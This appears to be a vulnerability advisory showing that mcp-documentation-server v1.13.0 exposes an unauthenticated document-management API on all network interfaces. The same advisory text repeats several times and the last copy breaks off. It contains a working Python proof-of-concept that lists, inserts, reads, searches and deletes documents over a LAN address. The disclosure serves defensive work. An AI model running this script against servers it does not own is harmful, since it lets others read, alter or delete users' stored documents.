### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` #### 6. Cleanup ```bash kill "$DOCSRV_PID" 2>/dev/null || true fuser -k 3080/tcp 2>/dev/null || true rm -rf /tmp/docsrv_base rm -f /tmp/docsrv_unauth_poc.py rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log ``` ### Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API. A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow: - reading document titles, previews, and full document contents; - searching across the entire document corpus; - inserting attacker-controlled documents into the corpus; - deleting documents; - tampering with the user's local knowledge base used by the MCP assistant. This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks. This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations. A safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.
### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` #### 6. Cleanup ```bash kill "$DOCSRV_PID" 2>/dev/null || true fuser -k 3080/tcp 2>/dev/null || true rm -rf /tmp/docsrv_base rm -f /tmp/docsrv_unauth_poc.py rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log ``` ### Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API. A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow: - reading document titles, previews, and full document contents; - searching across the entire document corpus; - inserting attacker-controlled documents into the corpus; - deleting documents; - tampering with the user's local knowledge base used by the MCP assistant. This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks. This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations. A safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.
### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` Run the same PoC against the host's LAN IP: ```bash LAN_IP=$(hostname -I | awk '{print $1}') python3 /tmp/docsrv_unauth_poc.py "$LAN_IP" 3080 ``` Observed: ```text [poc] target = http://10.0.250.230:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network API.'}]" [5] delete document: HTTP 200, response={'success': True, 'message': 'Document "network-inserted-test-document" deleted'} [poc] DONE ``` #### 6. Cleanup ```bash kill "$DOCSRV_PID" 2>/dev/null || true fuser -k 3080/tcp 2>/dev/null || true rm -rf /tmp/docsrv_base rm -f /tmp/docsrv_unauth_poc.py rm -f /tmp/docsrv_stdout.log /tmp/docsrv_stderr.log ``` ### Impact This is a missing-authentication and unsafe-default network exposure issue for the Web UI/API. A network-reachable attacker can access the document-management API without credentials. Depending on what the user stores in the documentation server, this may allow: - reading document titles, previews, and full document contents; - searching across the entire document corpus; - inserting attacker-controlled documents into the corpus; - deleting documents; - tampering with the user's local knowledge base used by the MCP assistant. This can affect users who run the MCP server on laptops, workstations, dev VMs, or hosts connected to shared networks, VPNs, Docker bridges, or other routable local networks. This is not a claim for unauthenticated remote code execution. The issue is that the documented Web UI/API is exposed on all interfaces by default and does not require authentication for document-admin operations. A safer default would be to bind the Web UI/API to `127.0.0.1` by default, and require an explicit opt-in such as `WEB_BIND_HOST=0.0.0.0` for network exposure. If network binding is supported, an authentication token should be required for document-management endpoints.
### Summary `@andrea9293/mcp-documentation-server` v1.13.0 documents that a Web UI starts automatically on port `3080`. However, the Web UI/API appears to bind to all network interfaces by default (`*:3080` / `0.0.0.0:3080`) instead of localhost-only, and its document-management API endpoints do not require authentication. As a result, any network-reachable client on the same LAN, VM network, or container bridge can access the document-admin API without credentials. In my reproduction, I was able to enumerate documents, add a document, read its full content, search across the corpus, and delete the document through the host's LAN IP. The issue is not that a Web UI exists. The issue is that a local document-management Web UI/API is exposed on all interfaces by default without authentication. ### Details The README documents that the Web UI starts automatically and tells users to open: ```text http://localhost:3080 ``` It also documents `START_WEB_UI=true` and `WEB_PORT=3080` as the defaults. The vulnerable behavior appears to come from starting the web server without binding it to localhost explicitly. In `src/server.ts`, the Web UI is started unless `START_WEB_UI=false`: ```ts if (process.env.START_WEB_UI !== 'false') { initializeDocumentManager().then(manager => { return startWebServer(undefined, manager); }).then(() => { console.error('[Server] Web UI started (port=' + (process.env.WEB_PORT || '3080') + ')'); })... } ``` In `src/web-server.ts`, the Express app appears to listen with only the port: ```ts const server = app.listen(PORT, () => { console.log(`\n 🌐 MCP Documentation Server - Web UI`); console.log(` ────────────────────────────────────`); console.log(` Local: http://localhost:${PORT}`); console.log(` Network: http://0.0.0.0:${PORT}\n`); }); ``` With Express/Node, `app.listen(PORT)` without a host argument binds to all interfaces. In my reproduction, this resulted in: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` The exposed API includes document-admin operations such as: ```text GET /api/documents GET /api/documents/:id POST /api/documents POST /api/search-all DELETE /api/documents/:id GET /api/config ``` I did not send any `Authorization` header in the PoC requests, and all tested operations succeeded. ### PoC Tested on v1.13.0. #### 1. Build from source ```bash cd ~/Desktop mkdir -p docsrv_repro_from_scratch cd docsrv_repro_from_scratch git clone https://github.com/andrea9293/mcp-documentation-server.git cd mcp-documentation-server git rev-parse HEAD npm install --no-audit --no-fund npm run build ls -l dist/server.js node -p "require('./package.json').version" ``` Expected version: ```text 1.13.0 ``` #### 2. Start the server with default Web UI behavior Do not set `START_WEB_UI=false`. ```bash rm -rf /tmp/docsrv_base mkdir -p /tmp/docsrv_base MCP_BASE_DIR=/tmp/docsrv_base \ WEB_PORT=3080 \ node dist/server.js \ </dev/null \ >/tmp/docsrv_stdout.log \ 2>/tmp/docsrv_stderr.log & DOCSRV_PID=$! sleep 5 echo "DOCSRV_PID=$DOCSRV_PID" ps -p "$DOCSRV_PID" -o pid,stat,cmd ``` #### 3. Confirm that the Web UI/API binds to all interfaces ```bash ss -ltnp | grep ':3080' || true ``` Observed: ```text LISTEN 0 511 *:3080 *:* users:(("MainThread",pid=1781375,fd=21)) ``` This indicates the service is not bound only to `127.0.0.1`. #### 4. Confirm that the API is reachable through the LAN IP ```bash LAN_IP=$(hostname -I | awk '{print $1}') echo "LAN_IP=$LAN_IP" curl -sS --max-time 5 "http://$LAN_IP:3080/api/config" echo ``` Observed: ```text LAN_IP=10.0.250.230 {"gemini_available":false,"embedding_model":"Xenova/all-MiniLM-L6-v2"} ``` No authentication header was sent. #### 5. Full unauthenticated document-admin PoC ```bash cat > /tmp/docsrv_unauth_poc.py <<'PY' #!/usr/bin/env python3 import json import sys import urllib.request import urllib.error HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 3080 BASE = f"http://{HOST}:{PORT}" def req(method, path, body=None): data = json.dumps(body).encode() if body is not None else None headers = {"Content-Type": "application/json"} if body is not None else {} r = urllib.request.Request(f"{BASE}{path}", data=data, method=method, headers=headers) with urllib.request.urlopen(r, timeout=10) as resp: raw = resp.read().decode() try: return resp.status, json.loads(raw or "null") except Exception: return resp.status, raw def main(): print(f"[poc] target = {BASE}") print("[poc] no Authorization header is sent") status, config = req("GET", "/api/config") print(f"[0] config: HTTP {status}, {config}") status, docs = req("GET", "/api/documents") print(f"[1] list documents: HTTP {status}, count={len(docs) if isinstance(docs, list) else 'unknown'}") marker = "ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api" body = { "title": "network-inserted-test-document", "content": marker + "\nThis document was inserted through the unauthenticated network API.", "metadata": {"source": "unauth-network-poc"} } status, added = req("POST", "/api/documents", body) print(f"[2] add document: HTTP {status}, response={added}") doc_id = None if isinstance(added, dict): doc_id = added.get("id") or added.get("document", {}).get("id") if not doc_id: status, docs = req("GET", "/api/documents") for d in docs: if d.get("title") == "network-inserted-test-document": doc_id = d.get("id") break if not doc_id: raise RuntimeError("could not locate inserted document id") print(f"[2] inserted id={doc_id}") status, doc = req("GET", f"/api/documents/{doc_id}") content = doc.get("content", "") if isinstance(doc, dict) else str(doc) print(f"[3] read document: HTTP {status}, marker_present={marker in content}") status, hits = req("POST", "/api/search-all", { "query": "ATTACKER_CONTROLLED_DOCUMENT_MARKER network inserted", "limit": 5 }) print(f"[4] search-all: HTTP {status}, response_prefix={str(hits)[:300]!r}") status, deleted = req("DELETE", f"/api/documents/{doc_id}") print(f"[5] delete document: HTTP {status}, response={deleted}") print("[poc] DONE") if __name__ == "__main__": main() PY chmod +x /tmp/docsrv_unauth_poc.py ``` Run against localhost: ```bash python3 /tmp/docsrv_unauth_poc.py 127.0.0.1 3080 ``` Observed: ```text [poc] target = http://127.0.0.1:3080 [poc] no Authorization header is sent [0] config: HTTP 200, {'gemini_available': False, 'embedding_model': 'Xenova/all-MiniLM-L6-v2'} [1] list documents: HTTP 200, count=0 [2] add document: HTTP 200, response={'id': 'ef13280d7441d5bb', 'title': 'network-inserted-test-document', 'message': 'Document added successfully'} [2] inserted id=ef13280d7441d5bb [3] read document: HTTP 200, marker_present=True [4] search-all: HTTP 200, response_prefix="[{'document_id': 'ef13280d7441d5bb', 'parent_index': 0, 'score': 1, 'content': 'ATTACKER_CONTROLLED_DOCUMENT_MARKER_unauth_network_api\\nThis document was inserted through the unauthenticated network 